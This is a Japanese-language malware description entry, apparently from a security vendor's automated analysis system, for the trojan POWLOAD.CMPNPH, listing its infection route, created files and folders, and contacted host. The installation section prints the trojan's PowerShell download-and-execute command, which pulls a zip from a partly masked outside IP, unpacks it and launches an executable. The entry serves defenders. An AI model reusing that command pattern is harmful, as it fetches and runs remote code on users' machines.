Trojan.Win32.POWLOAD.CMPNPH

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

• %System%\WindowsPowerShell\v1.0\powershell.exe (New-Object Net.WebClient).DownloadFile('http://{BLOCKED}0.151.169/arquivoloader/arquivosKL.zip','%System Root%\{computername}\jceShlnX.zip');(new-object -com shell.application).namespace('%System Root%\{computername}').CopyHere((new-object -com shell.application).namespace('%System Root%\{computername}\jceShlnX.zip').Items(),16);Start-Process %System Root%\{computername}\Launcher.exe
• %System Root%\{computername}\Launcher.exe

マルウェアは、以下のフォルダを作成します。

• %System Root%\{computername}

(註：%System Root%フォルダは、オペレーティングシステム(OS)が存在する場所で、いずれのOSでも通常、 "C:" です。.)

作成活動

マルウェアは、以下のファイルを作成します。

• %System Root%\{computername}\jceShlnX.zip

(註：%System Root%フォルダは、オペレーティングシステム(OS)が存在する場所で、いずれのOSでも通常、 "C:" です。.)

その他

マルウェアは、以下の不正なWebサイトにアクセスします。

• {BLOCKED}0.151.169

このウイルス情報は、自動解析システムにより作成されました。